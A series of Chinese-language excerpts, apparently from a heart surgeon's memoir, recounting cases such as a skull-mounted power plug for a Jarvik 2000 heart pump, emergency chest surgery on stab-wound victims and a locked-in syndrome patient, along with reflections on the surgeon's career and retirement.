　　柯丝蒂今年十八岁，已经长成一名活泼健康的少女。如果她当时死了，我们就永远不可能知道心脏再生有这么激动人心的可能。她的病例将会挽救无数人的生命。

　　还有斯特凡的护士。儿科重症监护病房的护士都是特殊品种，她们要在工作中面对令人心碎的焦虑和痛苦，而且天天如此，这份工作不是谁都做得来。斯特凡的护士是一位成熟的女士，自己也有孩子，她很喜欢照看我做过心脏手术的那些婴儿，因为他们会好转。她真的不喜欢看见孩子死去。她显然很同情斯特凡的父母——他们的压力越来越明显。这个小病人的生命正在逝去，必须有人做点什么能立刻起效的事情，不然就来不及了。是她催阿彻来找我的。

　　德西蕾已经等在那里，准备学习设备的用法了，两个外科主治医师也和胜间田一起等着。室内弥漫着狂热激动的氛围，人人都知道就要开辟一个新领域，值得回家后对伴侣和孩子炫耀一番。我们会登上今晚的新闻吗？不会。牛津本地的新闻呢？也不会。那么我会被开除吗？很有可能。那倒会成为新闻。但这时我们什么都不须说。还是先治好孩子吧。

　　朱莉的心肌上密集分布着一种叫作淋巴细胞的白血球，它们会对病毒感染做出反应。当病毒太小，不能用光学显微镜观察时，大量淋巴细胞就能告诉你它们的确在那儿。朱莉的心肌上有数百万个淋巴细胞，她的心肌也因为炎症反应而膨胀水肿。

　　斯特凡却是另一种情形。在一个十岁的孩子身上，这真有点出人意料：他的很大一部分心肌已被纤维组织取代，但这不是因为缺乏血液供应。他的样本里完全没有白血球。他得的确实是慢性特发性扩张型心肌病，也就是说他的心脏长期增大，原因不明。他的病情单靠休息绝对不会好转。他触了霉头，走进了死胡同。朱莉和斯特凡只有一个共同点，就是及时得到了我们的救治。现在前面的路已经很清楚：斯特凡需要植入另一颗心脏才能安全回家。

　　但是在供体心脏送进手术室之前，我们不会开始这一步。这一路上还可能有灾难发生，比如交通事故，比如穿孔，什么都有可能。即使送进了手术室，也可能有人把它掉在地板上。这是真事，当年克里斯蒂安·巴纳德在开普敦主刀时，他弟弟马里厄斯就在把一颗心脏从供体所在的手术室拿给隔壁手术室的受体时，失手把它弄掉了。哎呀！

　　供体心脏的植入有严格的顺序，一定要和血管正确对接，不能出现扭曲。这听起来或许简单，但其实供体心脏又滑又湿，安装起来并不容易。

　　做这种手术，最好先在脑子里对成品有一幅清晰的三维图像。这方面我很幸运，遗传了大脑半球双侧优势，也就是说，我可以同时使用大脑两侧的运动皮层。我左右双手都能动手术。我平时写字用右手，击球用左手，还喜欢用左脚踢球。双侧优势在许多事情上都有好处，做手术尤其方便，这比学习和应考的能力更加重要。

　　现在轮到我打量他了。他的呼吸很弱，稍稍用力就喘不上气，肚子因为膨胀的肝脏和腹水而向外隆起。我看到他的双腿肿胀发紫。他穿着大一号的拖鞋，袜子绷在肿得厉害的双脚上。他的腿上有溃疡，袜子下面透出一块块药膏的痕迹。我不必给他检查了。这是严重终末期心力衰竭的症状。我吃惊于他竟然还能走出家门，因为他在任何一刹那都可能死去。

　　彼得听到“心脏移植”时颤抖了一下。当他的生命接近终点，心脏移植曾是最后的希望，而当移植申请遭到拒绝，那深切的心理创伤不应该被任何人忽略。他心里怀着怨气，因为他已经历过两次筛选。第一次说他病得不够厉害，没有资格移植；第二次他五十八岁，他们又说他病得太重，移植了也没用。

　　我从办公桌抽屉里拿出贾维克 2000 给他们看。那是一部钛制涡轮机，大小相当于我的大拇指，或者一节 2 号电池。我解释说，这部心泵将会植入他那颗衰竭的心脏内部，就安装在心尖的位置。他的左心室胀得很大，有足够的空间容纳心泵。我们会在他的心肌上缝一个约束环，用来固定心泵，然后在心壁上打一个孔，把心泵塞进去。心泵的高速涡轮会通过人工血管，从他那颗挣扎的心脏里抽空血液，并将血液注入他体内最重要的血管——主动脉。

　　我向他展示鱼雷形状的叶轮是如何在发动机的管道内部转动的。它转速飞快，每分钟 1～1.2 万转，泵出的血液达到 5 升或更多。这个泵血量和正常心脏相仿，区别在于它是持续供血的。也就是说，它不像正常心脏那样先注满再排空，一下下地射出血液，因为它并不搏动。这部装置只有一个潜在的问题，那就是彼得的右侧心脏必须适应加快的血液循环。如果右心室能够适应，那么这部人工血泵就会和心脏移植一样理想了；如果不能，他就会死。

　　他告诉我，他安慰过一百多个临终病人，对死亡已经十分熟悉。“我告诉他们需要做什么，能做什么，死前会经历什么阶段，还有一些类似的事情。”我心想，我亲手超度的病人是这个数字的三倍还多，不过现在不是比试人数的时候。

　　他问起成功的概率，我嘴上说大概一半对一半，心里却知道这个估计太乐观了。和许多病人一样，他最担心的是自己会在手术中留下脑损伤，这样就比手术前更悲惨了。我安慰他不用担心：如果手术失败，他肯定会死。这样的安慰或许显得奇怪，但是这个失败等于死亡的说法他听进去了。他眼下的生活已经难以忍受，但是作为天主教徒，他也和大多数教友一样，为了家人不会考虑自杀。手术是安乐死的另一种选项，而且不必面对道德两难。

　　我向他展示了设备，问他能否习惯带着电池生活。控制器和电池会放在一只单肩包里，他要随身携带，一刻都不能丢开。当电量走低或者电池脱落时，设备就会响起警报。他每天要更换两次电池，到了夜里还要把身体连上家里的交流电源。真是非常有未来感的画面。

　　接下来还有意外揭晓。为了给他的身体接电，贾维克博士和我想出了一种革命性的新方法。本来供电线可以从腹壁穿出，但这么做有一个大问题：容易感染，因为穿过脂肪和皮肤的电线会不停移动，由此将细菌引入体内，有时就连心泵都会遭到感染。有七成病人最终会遇到这个难题，其中许多人需要再做手术。和这个旧办法不同，我们决定在彼得的颅骨上拧进一只金属插头。人的头皮几乎没有脂肪，还有丰富的血液供应。插头会牢牢固定在颅骨上。我们相信这个办法能把供电线造成感染的风险降到最低。

　　也就是说，彼得的头上会多出一个电插头，从它连出的电线会穿过颈部和胸部，为心泵送去电流。简直像是魔法！这下我真的变成弗兰肯斯坦博士了。

　　他一睡着，我们就在手术台上给他翻了个身，让他的身体左侧朝上，把这一侧的头部和颈部都暴露出来，接着我用无法擦除的黑色记号笔在准备切口的地方做了记号。我们打算让供电线从他的胸腔顶部穿出，通过脖子连到头部左侧。我的同事安德鲁·弗里兰（Andrew Freeland）是人工耳蜗植入专家，他负责把基座固定到颅骨上，我们其他人则会打开他的左侧胸腔，暴露心包和主动脉。这需要在他的肋骨间开很大一道口子。

　　电线的末端连着一只微型三脚插头。这只插头连着一个钛基座，基座上有六个螺丝孔，用来把基座同彼得的颅骨表面牢牢固定在一起。安德鲁在他耳朵后面开了一个 C 形切口，刮掉颅骨的纤维状表面。然后用一把电钻在头骨上钻出螺丝孔。他把插头牢牢固定在颅骨上，然后填进干骨粉，好让钛基座周围的骨头加快愈合。这台手术我们可以说是一边操作一边发明出来的。

　　彼得在伯明翰外出走动时，绝对是一景。他的一侧头发过了一段时间才全部长齐，起初路人一眼就能看见他那个插头和那段黑色的电线。孩子们会走过来问他为什么头上有个插头，他是不是机器人。彼得很乐意停下脚步跟他们解释。那个圣诞节他过得特别快乐，这是他之前根本不敢指望的。

　　一月大减价的一天，他外出购物时，头上忽然一阵尖锐的疼痛。原来是有个小偷想要抢走他那只装着控制器和电池的单肩包，他还以为里面放的是一台照相机呢。彼得头骨上的插头基座被扯了下来，心泵也骤然停止。那个少年抢匪本来想抓起单肩包就走，但是包里传出了刺耳的断电警报声。那小子感觉不妙，扔下包跑了。几个逛街的人帮忙找回了彼得的供电线，他摸索着将插头以最快速度重新装到脑袋上。一个老太太替他接好电线，尽管她并不知道自己立下了怎样的功劳。心泵恢复通电之后嘶嘶运行了起来，并未受到什么影响。

　　“我当时确实感到一阵晕眩。”彼得回忆说，“但那应该主要是因为受了惊吓。拉扯的地方我一连几天都觉得很痛。”

　　手术后的第一年里，他设法将身体休养到了最佳状态。到第二年，他开始寻找有意义的目标，好让这“额外的生命”过得更值得。这个重生的机会将会占据他整个人生十分之一还多的长度，他觉得非要活出一点意义来，不能只是做一件展品。他开始不知疲倦地工作，为我们的项目筹款，还帮忙做宣传。他迫不及待地想让别人也获得和他一样的机会。很快他就成了我们团队中的一位重要成员，开始为其他适合安装辅助设备的患者和他们的家人提供建议。

　　在《华盛顿邮报》刊登那篇报道之后几个礼拜，彼得就死了。我当时远在日本，正努力向一个不接受心脏移植的文化介绍心室辅助装置。彼得的死和他的心泵无关，也不是心力衰竭造成的。他只是出了许多鼻血，造成他仅有的一只病肾发生衰竭。其实他当时完全可以接受透析治疗（我们在第一次手术之后就给他透析了一个礼拜），但当地的医院拒绝介入。由于缺乏治疗，他血液中的钾和酸大量淤积，造成心脏纤颤，他的心泵也给关掉了。要是我当时人在英国，我们一定会把他接过来治好的。我认为这是一例完全没有必要的死亡。

　　我们征得彼得的妻子戴安娜的同意对他做了尸检，为的是研究没有脉搏的血液循环对身体的长期影响。那只心泵还跟新的一样，里面没有血块，转子的轴承也只有微小的磨损。我们把它还给了纽约的罗伯·贾维克，它继续在一部试验设备上工作了几年。彼得自己的左心室严重扩张，仍然没有恢复功能。唯一和心泵有关的发现是他主动脉壁上的肌肉变薄了。由于脉压小到几乎为零，他的主动脉也不需要像我们一样保留厚厚一层肌肉。这绝好地体现了自然对于环境的适应。

　　我的工作是帮人度过生命中最脆弱的阶段——当他们发现自己患上严重心脏病的时候。当患者和我见面时，个个都明白自己可能会死，甚至有的人已经在等待死亡。有那么一位女士铁了心认为自己要死，以至于在一次极为简单的手术之后真的把自己想死了。绝对不要低估人类的心灵。那可是强大的东西。

　　诊断就像拼拼图。你要先找到其中每一块，再把它们拼在一起。只有到了那时，完整的画面才会呈现。安娜显然是突发了一次严重的脑损伤。在年轻人身上，这往往是因为某根先天脆弱的血管破裂，导致脑出血。

　　但是也有第二种可能，一种称为“反常栓塞”的事件。形成栓塞的东西叫“栓子”，那是在血流中浮动的一片外来物，可以是断裂的骨头从骨髓中释放的小脂肪球，也可以是从腿部的深静脉血栓上剥落下来漂到肺部的血块。如果空气通过插管或输液管进入血液循环，同样可能阻塞通向脑部的血管，或者在心脏中形成气栓。反常栓塞是由腿部或盆腔静脉中脱落的血块造成的，但是这些血块没有漂到肺部，而是通过心脏中的一个缺孔进入了脑，这会引起突然中风，有时甚至会致人死亡。安娜需要做一次脑部扫描，然后接受紧急脑外科手术。不过，安娜身上有一个积极的迹象：她的瞳孔仍然是正常大小，也能对光线做出反应。这说明她的脑还没有死亡。

　　她有一片关键的白质已经死亡或是受了损伤，其中包括通向手臂和腿的神经，支配语言的神经，以及控制身体自主反射行为的神经。看来她已经落入无意识的深渊，很可能也失去了视觉。

　　然而，看上去完全昏迷的安娜，怎么可能还有听觉和想法呢？这说起来仿佛恐怖片里的情节，就像被活活埋进一口有一扇窗户的棺材。这是可怕的“闭锁综合征”（locked in syndrome），患者全身各处的随意肌完全瘫痪，只剩下控制眼球的那些还能活动。更糟的是，只有眼球的纵向运动和眨眼动作保留下来。此外，负责思考的大脑（也就是大脑皮层或说灰质）并未损坏，病人依然警觉，意识清醒。他们可以思考，只是说不出话也动弹不得。真是噩梦一般的处境。

　　安娜从来没有真的失去过意识。她的声带没有瘫痪，只是丧失了在呼吸和说话之间协调的能力。因此，她虽然在外界看来陷入了深度昏迷，但是从她自己的角度，她的听觉和思维过程依然正常。这种被困的新生活自然十分恐怖。她能看见外面的景象，虽然周围全是陌生人；她也始终能听见断断续续的蜂鸣，那是监护仪发出的声音。由于神经系统失控，她感觉很冷，虽然她身上其实盖着几条暖和的毯子。她感觉自己的身体仿佛被冻住、捆住了一般。

　　她的肺炎没有好转，反而更加重了。一天，德斯偶然在装着她病历的棕色文件夹封面上看到“DNR”的字样。那是“不要心肺复苏”（Do Not Resuscitate）的缩写，这么写是因为有医生预计她的生命质量会差到无法接受的地步，但这完全没有征求家属的同意。这清楚地告诉他们：这些医务人员已经放弃了。

　　具体说，就是如果安娜的肺部感染发展得太严重，他们就不打算给她连呼吸机了。大卫说：“我猜想这是他们把她送出重症监护病房的时候写的。我对医院里的伦理不太了解，但我觉得这种事总该先和我们商量一下。”这他妈的当然应该先和家属商量。就连兽医也不会不和主人打招呼就让宠物去死。合理的做法（我说得婉转些）当然是和家属提一句。真可怕。

　　给断骨绑上夹板，它就会愈合。让受伤的心脏休息，它也可能康复。虽然不是个个如此，但是在我看来，病人应该获得这个机会。何况重症监护病房的护士们都觉得离心磁浮泵很好操作，只要调高或者调低就行。只靠旋转一个把手，我们就操纵了病人的整个血液循环。这可比开车简单多了。

　　这件事有个意外而不太愉快的结局。就在克拉克先生心肌梗死之后的六个月，同样的事情也发生在了他弟弟身上。他才四十六岁。我当时正在别处参加会议。这位更年轻的克拉克先生被送进当地医院，他们毫无办法，只能把他转到牛津。抵达时他已经心源性休克。他的家人收到了和他哥哥的家人一样的通知：我们已无能为力。他们找到我的办公室，不顾一切地想求我帮忙，然而我正好不在，没能帮上。没有医生，也没有心泵。他的妻子失去了丈夫，孩子失去了父亲。

　　年长的克拉克先生接过了照料他们的担子。听说这件事，我伤心极了，同时又庆幸自己不必面对那个家庭。随着年龄增长，我的中立态度开始消退，共情渐渐占了上风。这个职业让我深受折磨。

　　做高级专科主治医师时，我常常在伦敦各家医院间飞驰，被警察截停无数次，最后他们甚至给我出起了主意：如果需要超速，就打 999（报警和急救电话），跟接线员说明情况，我们会带你到想去的地方。

　　他们还真的送过我几次。这种事现在不会有了。现在他们都是叫我停车，我冲他们发火。我会让他们同急救车中心确认情况，然后把我护送到医院。

　　夜里 11 点，我的手机响了，来电号码“未知”。“未知”永远代表医院。

　　几年前，我曾在米德尔塞克斯医院救过一名在东伦敦被警察开枪击中的年轻人。不同的是，当时警察用的是手枪，子弹直接穿过心脏，但是他心包上的一个血块堵住了弹孔——在身体失血、心脏血压下降时就会出现这样的现象。但是高速子弹就完全不同了，它们会把心脏撕成碎片。伤者还活着，说明他的心脏没有受伤，我有把握治好他。

　　我赶在伤者之前到了。急诊部正好没什么病人，一群医生和护士待命，随时准备出动。但我只需要一个人——一个麻醉医生把管子插进他的气管，帮他维持呼吸就行了。大量失血时我不喜欢输液太多，输普通补液只能简单地提升血压，加剧出血，并不能提供凝血物质促进止血。

　　我们听见救护车的警笛越来越近。这时，伤者的血压已经不到 60 毫米汞柱，心率则高达 130。他身体苍白冰冷，大量出汗，意识模糊。急救护理知道时间紧迫，把救护车倒着开进医院，用力推开后门。车上放下一道斜坡，我们匆匆把伤者推进复苏区。我问他叫什么，他没回答。

　　伤口离肺门很近（那可是至关重要的人体结构），位于几根血管上方，幸好离心脏还有一点距离。

　　我用手术刀打开他的胸腔，在肋骨之间下刀，从胸骨边缘一直切到肩胛骨，子弹从那里掉了出来。我继续操刀，切开那厚厚的几层苍白的肌肉。在活的病人身上，这些部位通常会大量喷血，但这时他已经没有血压，也没多少血好流了。我一打开他的胸腔，大量像肝脏般的血块就蠕动着流了出来，“啪塔啪塔”地掉在地上，接着又流出一些新鲜的液态血。我拿起大号肋骨牵开器撑开他的胸腔，想要暴露伤口，找到出血点。

　　大多数袭击者都是面对被害人动刀，刀子刺中的一般是右心室正面。少数伤口会同时牵连到左右两侧心室。左心室的刺伤一般是从腹侧或背部刺入，这也是“家暴事件”的路径。薄壁的右心房受到胸骨的保护，而左心房位于胸腔更里面，因此极少有刀伤会涉及心房。

　　急救法则第一条：如果刀子（偶尔还有螺丝刀）还插在那里，先不要动它。如果它正随着心脏的每一下搏动而摇晃，那么刀身或刀柄可能在心肌上捅出了口子。这类伤者往往是自杀未遂，因为别的袭击者鲜少会留下自己的刀子和指纹作为证据。

　　刀子抽出时，带着压力的血液会喷入纤维心包，也就是容纳心脏的那个闭合空间。如果血液逸出心包，自由进入外面的胸腔，伤者就很有可能失血过多而死。如果伤口较小，血液只在心包内淤积，我们称之为“心脏压塞”。由于心脏受血液挤压，伤者的血压会持续下降，直到最终达到一个平衡点，出血停止。这时伤者的血液仍在较低的血压下循环，他们多半还能活下来。他们刚到医院时皮肤苍白，身体发冷，躁动不安；他们心率很快，颈静脉扩张，但只要血压维持在低位，他们完全可以再活一阵。

　　急救法则第二条：那些入院时完全清醒的伤者一般都是心脏压塞，许多人需要立即开胸复苏。标准的复苏技术不适用于心脏有破孔的情况，因为要是给伤者静脉补液，他们会出更多血，往往还会致命。重要的是先止住血流。一旦心脏压塞缓解，伤者可能就不需要补液了。我曾经给几个心脏压塞伤者做手术，他们被注入太多补液，心脏都快胀裂了。我只好在缝合伤口前先打开心脏，用吸引器吸出大量稀释的血液。在那之后，心脏才算恢复到可以缝合伤口的状态。

　　有的伤者送来时身体还是热的，但是没有任何别的生命迹象。这时我会检查他们的瞳孔，只有瞳孔对光线仍有反应，才能继续开展急救手术。在强有力的心脏按压与肾上腺素的共同作用下，任何心脏都有可能重启，即使脑已经死亡也不例外。所以一定要先查看瞳孔。没有一个验尸官会接受谋杀遇害人仅仅作为器官供体活着。

　　这名伤者被自己的团伙丢在医院大堂里。他上衣全是血，皮肤死一样苍白，已经失去意识。搬运工把他抬到复苏区，主管护士召集了复苏团队。他仍有微弱的脉搏，瞳孔对光也还有反应。

　　几名护士脱下他的上衣。我看见刺伤就在心脏正上方，宽约 1 厘米。血从伤口边缘缓缓流下，心脏没在泵血；因为心包内压力过高，颈静脉在消瘦的脖子下像树干一样隆起。这明显是一个心脏压塞的病例。

　　麻醉医生做完气管插管，此时正发狂般往他的肺部通气。但我们还需要往颈静脉插一根大内径插管，用来输血。一个护士接替麻醉医生按压气囊，让他腾出手来做颈静脉插管。他插得准确无误。深蓝色血液在高压下喷射出来。

　　那个年代，夜间的急诊部还不设主任医师，整座医院也当然没有心脏外科医师。那个护士知道我在布朗普顿医院工作过，她看着我说：“给他开胸，我来协助你。”

　　我的脑袋嗡了一声，嘴巴里却说：“那快动手吧，不然就来不及了。”

　　那个麻醉医生是高级专科住院医师，他点头表示同意，知道如果我们什么都不做，这孩子就死定了。当心脏受到挤压而无法填满血液时，体外的心脏按压没有任何效果。我们连刷手都顾不上，因为他脉搏和血压都没有了。周围这一群人把他翻过来左面朝上，我同时穿上手术衣，戴上手套。护士长随后穿戴完毕。我站在伤者背后，护士长站在前面，我借着飙升的肾上腺素，用手术刀切开他的胸腔，再用金属牵开器撑开他的肋骨——那是医院专门备下以防不测的，平时很少使用。

　　伤者的胸腔里没有血和空气，因为那把匕首直接扎进心包和右心室，我能看见的只有绷得鼓鼓的蓝色心包。我知道该做什么，假如我能阻止汗水迷住眼睛、滴进切口。

　　我用手术刀划开紧绷的薄膜，血液和血块喷涌出来。他的心脏仍在跳动，但里面是空的。随着心包排空，心室再次充满。血压开始上升，刺伤口也重新开始喷血，不过这已经不是什么大问题了。

　　我用食指堵住又长又深的刀口，说：“给他输血，我来缝合心室。”

　　“你要用什么缝？”护士长问。

　　我也不知道要什么，于是说：“只要是弯针，有什么就给我什么。”

　　第一种针太大，第二种太小，第三种正好——那是一种蓝色的编织缝合线，非常适合打结。妙极了。我让护士长替我用手指堵住伤口，血喷到她身上。这是她第一次触碰心脏。

　　接下的工作就棘手了。我用持针器夹住弯针，慢慢伸到最佳缝合位置。我知道，护士长一旦拿开手指，血就会喷射出来。不仅如此，这颗年轻的心脏在不停跳动，要精确缝合一个快速移动的目标，并不容易。我深吸一口气。动手吧。

　　我把针头由伤口中部的一侧穿入，从另一侧穿出，刺得很深。接着，护士长把针头从缝合材料上剪下来。为防止撕裂肌肉、拉开伤口，我打结的动作很轻。缝上了。但是为了确保他的安全，我还需要在伤口两侧多缝几针——一共三针。这对一个新手来说很伤脑筋，因为每次针头刺穿心肌，都会激起一阵迅速而不受控制的搏动。我估计缝这三针花了十分钟，比现在慢太多了。

　　护士长的目光在口罩上方注视着我。我知道那双眼睛在说什么：这小子干得不赖。我也这么认为——此刻，我是英雄。伤者的血压和心率很快恢复了正常。这时，心胸外科住院医师也赶来了。虽然已经不需要他，我还是很乐意把剩下的工作交给他，自己和护士长去了咖啡间。我们出了一身大汗，但精神振奋。胸腔关闭之后，他们把伤者仰卧着放到推车上。

　　到处都是血：担架的帆布上有血，他的头发里有血，衣服浸透了血，地板上也积了一汪半干的血。这些都在证明我们刚才的搏斗。他们要把他送到重症监护病房清理一下。急诊部还有几十个病人，全都等得焦躁不安。

　　就在这时，这小伙忽然醒了。他刚刚经历生死关口，现在躁动得难以自持。他一下子坐起来，开始拽身上的输液管。脖子上的颈静脉插管脱落了。接着他深吸一口气，胸腔里的负压将空气吸进了血液循环。他一下子瘫倒，脉搏再度消失，尽管与之前一次原因不同。周围的人都不知道这是怎么回事，他们尝试体外心脏按压，但没能救活他。我的第一次独立心脏手术以病人死亡告终，短短几分钟之内，我从英雄变成了狗熊。窘透了。

　　这个夜晚转瞬之间变成一场噩梦，我不由得开始妄想。我担心有人把他的死怪到我头上，责备我鲁莽。但其实不必。护士长和麻醉医生说得很清楚：要不是因为我介入，他只会死得更早。这个案子后来上了死因调查法庭。裁决结果是：非法杀害。死亡原因：心脏刺伤后的空气栓塞。

　　这不仅是我第一次操刀开胸手术，也是我第一次遭遇这种致命的并发症——空气进入脑血管。悲哀的是，这不会是最后一例。我注定还要在职业生涯中做许多例心脏刺伤手术，它们大多简单，只有少数比较复杂，牵涉到心脏瓣膜或冠状动脉。好在伤者都活下来了。

　　最初几个小时，她的瞳孔始终对光线有反应。然而下午晚些时候，虽然心脏大幅改善，瞳孔却突然扩散开来，对光线也没了反应。完全是噩梦般的场景：病人的身体好转，脑却坏了。因为缺乏血液和氧气，她的脑部发生了肿胀。这导致颅骨内压力上升，脑干脱垂到下方的椎管里——这是医生的行话，意思是他妈的要不行了。

　　颅骨是一个坚硬的盒子，当脑部发生肿胀，有些东西就必须排出。流体空间受到压缩，继而消失，脆弱的脑组织和神经被扭曲，最后脑干的一些部分也挤到颅骨外面，于是瞳孔对光线失去反应。而当脑干的反应消失，病人就死了。

　　年轻女孩的死使她在布鲁克斯的师友们悲痛不已。于是，我给这所学校的副校长写了封信。我说她的朋友们在她倒下后勇敢相助，但我们终究还是没能救她回来，我为此深深遗憾。几个月后，我收到一封大学毕业典礼的邀请函。他们打算在她身后授予她一个学位，问我能不能和她的父母一道出席。

　　典礼上，我和她的爸爸妈妈及男友一起坐在第一排。我们看着年轻亮丽的男男女女走上讲台，领取各自的奖励。接着，校长沙米·查克拉巴提（Shami Chakrabarti）介绍了一个特殊奖项，感谢外科医生挽救学生的英勇举动。得有人上去领证书。她妈妈去了。爸爸在哀伤中一动不动，男友也悲痛地坐着。我喉咙哽咽，说不出话来，总算帮着那位可怜的女士蹒跚走上台阶。事情本不该如此，她的大学生涯不该就这么结束。她所有的朋友和老师都围过来。家人见到他们很高兴，还勇敢地参加了招待会。

　　但我心如刀绞。离开时我已经垮掉了，好像整个世界都压在肩头。执业几十年，那是我最伤心的一天。

　　那时我年轻精力多，

　　爱上了本地医生的老婆，

　　我每天都吃一只苹果，

　　好让医生不来找我。

　　——托马斯·W。拉蒙特[1]，《牧师住宅里的少年时代》

　　当主动脉瓣变得非常狭窄时，确实很难听出杂音。而现在她的主动脉瓣就十分狭窄，她的症状因为血流量增加才显现出来——心脏必须额外做功才能支持胎盘。

　　要解释这一切背后的生理学原理，我们必须知道，从妊娠十二周到三十六周的时间里，心脏泵出的血量最多可以达到非妊娠期血量的 150％。朱莉娅之所以在十六周时情况变差，是因为她左心室出口处的瓣膜严重狭窄。她在锻炼时胸部剧痛是因为冠状动脉血流不畅。她手臂上的血压虽然才 100 毫米汞柱，左心室的血压却高达 250 毫米汞柱——岌岌可危。另外，试图进入心脏的血液被拦在肺部，让她的肺变硬。要是再受到任何压力，水肿液就可能充满肺部，造成猝死。而朱莉娅还认为自己很健康呢！

　　我们在摄像机前坐下就餐。这正是制作人期待的素材：心脏医生吃下一大堆油炸食品，里里外外全是胆固醇。

　　我说：“太好吃了，我在家里从来吃不到这些。”

　　安德鲁：“你妻子知道了会怎么说？”

　　我：“管她呢！”

　　这番对话后来成了大家对这期节目印象最深刻的一段。我的脑外科医生朋友亨利·马什（Henry Marsh）在同一集出现，他们拍到他骑着自行车穿过伦敦的街道去上班——他没戴安全帽。他们问他为什么不戴，他只简单答了一句：“从来不戴，出了事根本没用！”BBC 想拍个性人物，他们如愿了。

　　我心中泛起怀旧之情，想起我在这间手术室里的第一台心脏手术。当时我穿了布罗克勋爵的靴子。还记得我用骨锯锯开那位可怜女士的胸骨、切入她的心脏时，穿着细直条纹西装的马蒂亚斯·帕内特大步走进手术室里喊道：“韦斯塔比，这次你又闯什么祸了？”现在我这个毛头小子也管事了。

　　吉姆后来很少回布朗普顿复查。当地的医院和全科医生熟悉了这项技术，都很乐意照看他。然而就在圣诞节前不久，苏格兰却传来了令人沮丧的消息：吉姆去看望一个朋友时，忘了带上多余的电池。他正在享受人生，心思全在别的事情上。那天，控制器上响起表示“电量低”的警报：二十分钟内必须换掉电池，不然就会彻底断电。

　　吉姆没来得及赶回家。他自己的心脏也没有恢复到能帮他渡过难关的程度。电池耗尽，吉姆死了，肺部充满积液。他已经高品质地多活了三年，最后却是这样一个结局，实在令人伤心绝望。不过在我看来，这场灾难也证明了这类设备的效用。真是悲惨的损失。

　　我的个性一点都不适合退休，但我的右手已经畸形。因为常年接洗手护士用力递来的手术器械，我手掌上的筋膜缩短，手变得像爪子。这叫“杜普伊特伦挛缩”（Dupuytren’s contracture）。现在我甚至没法恰当地和人打招呼，因为我的手始终蜷曲着，就像总握着一把剪刀、持针器或胸骨锯。这是真正的“职业适应”，也在逼我做最后的决定。另外，像许多上年纪的外科医生一样，在手术台上连续弯腰几小时也伤害了我的脊柱。我常常吩咐手下的主治医：“请你们接手吧，我的背很不好，前面也不舒服。”然而说到破坏力，还没有哪种身体疾病能和医院里的官僚体系相比：今天不能手术，明天没有床位，后天护士人手不足，大后天初级医生罢工。除此之外还有所谓的“法定强制”训练：我要坐在一间教室里，跟急救护理学怎么做心肺复苏，或是接受测验，回答怎么开胰岛素和抗癌药的问题——这些在我工作中都绝对用不到。还要在六十八岁高龄写什么“个人发展计划”。纯粹浪费时间。我本该在病人胸口忙碌，做些真正有益的事情。

　　就在不久前，手术室里突然响起火灾警报。当时我正在做一台瓣膜手术，病人还连在心肺机上。他的心脏冰冷弛缓，人工瓣膜刚刚缝了一半。一个行政人员从门后探出脑袋，说：“刚才火警响了，我们认为起火的可能性不大，但还是得撤离。”

　　我只说了句：“好吧，我不干了。”她脸上的表情好笑极了。我接着说：“那你跑吧，快保命去。麻烦给我们留一只桶，我们往里面撒尿灭火！”一个人的忍耐是有限度的。我的整个职业已经失去方向，是该放手了。

　　我想趁没人注意，悄悄溜出去。但我身后起了一阵骚动，一群热心的年轻人冲过来要跟我合影。我很受用。我们在门廊里一尊大理石雕像前站好，雕像上的人是约翰·亨特（John Hunter），传奇外科医生、解剖学家和盗尸者。我每次站在这地方总不大自在，因为我总是在这里发现自己考试没过、名字没上榜。我们很多人都曾羞愧地从这里走开。

　　就连我在这里的最终胜利也是痛苦的。当时我带着严重骨折的下巴参加口试，痛得一句话都说不出来。那是一个阴冷的冬日下午，我在剑桥阿登布鲁克医院的急诊部坐着候诊。在那之前，我刚刚在一场橄榄球比赛中判断失误，弄得浑身是泥。我身上还穿着橄榄球装，正等着正畸医生来给我诊断。这时，救护车送来一个年轻人，他在车祸中受了重伤，左胸流血，生命垂危。他们来不及去叫帕普沃斯医院的心脏外科医生。急诊医生和护士长都知道我在那里工作过，要求我赶紧介入，救救伤者。于是我穿着肮脏的短裤，膝盖上还糊着烂泥，给他开了胸，其间还往刷手槽里吐了几口血。

　　这个离奇的故事很快传开了，而那场口试的考官中也恰好有剑桥的外科医生——也许他们还因此给了我一点印象分。然而最终的成功并未模糊我当时的记忆。我痛恨那种无聊的精英主义：考官们穿着鲜红色的礼袍在立柱间稳稳走过，我以前管那叫“飞侠哥顿装”。现在的皇家学院已经成了一个默默支持“点名羞辱”文化的机构，他们同意政府公布外科医生经手病人的死亡率，乐于向主管医疗的政客示好，而不是保护自己的成员。

　　我们从那座历史建筑的阴影里出来，走进河岸街的阳光中。我问他当初为什么选择心脏外科，他告诉我因为他姐姐是得先天性心脏病死的。他想用手术医治儿童，但现在看来，那似乎是一座“遥不可及的桥”了。

　　我们走出河岸街，经过科文特花园的鲁尔斯餐厅。还是穷学生的时候，我在这里讨好过几个有望成为女友的姑娘，代价是后半个月只能挨饿。我告诉他不要害怕冒险，有时冒险的回报很丰厚。我们一边谈话，一边又走了两百米，来到老查令十字医院的门廊，我记忆中那座光辉的医学院，如今已经改建成一个警察局。我向他描述乙醚厅和那台祟住我的手术，就是那一次惨败差点改变我的人生，但我坚持了下来，并且更加坚决地向未知挺进。于是我最后告诫他一句：“过去就是过去，扔到脑后就行。重要的是将来。”

　　心脏外科手术是艰难的道路，又是孤独的目的地。在 20 世纪七八十年代，我们真的是夜以继日地工作。美国同行的作息规律是早晨 5 点查房，6 点给老板打电话，白天做一整天手术，傍晚去实验室研究，更妙的是，之后还要到重症监护病床边守夜。在伦敦的布朗普顿和汉姆史密斯医院，情况差不太多。

　　外科医生不是正常人。大多数有理性的年轻人，一想到切开别人的胸腔、让心脏停跳、把它切开再修复，就会怕得动弹不得。但我每天都这样做。外科医生被睾酮刺激，受肾上腺素驱使。我们中很少有人年轻时能维持婚姻，许多人到后来都深深懊悔。

　　我一直为我的第一任妻子珍妮所受的痛苦而抱歉。我也永远感激我才华横溢的女儿杰玛，她在剑桥受了教育，现在是一名人力资源律师。我花了许多时间努力挽救别人的孩子，和自己孩子相处的时间却总是不够。这本书部分解释了我到底在忙些什么。它也使我有机会强调，对我来说，没有什么比我的孩子们更加重要——还有我那个珍贵家庭的其他成员。我唯一的弟弟大卫在斯肯索普和我进了同一间文法学校，不同的是他后来上了剑桥。他在剑桥的基督学院念了医学，然后像我一样去了查令十字医院，成了伦敦一名杰出的消化科医生。

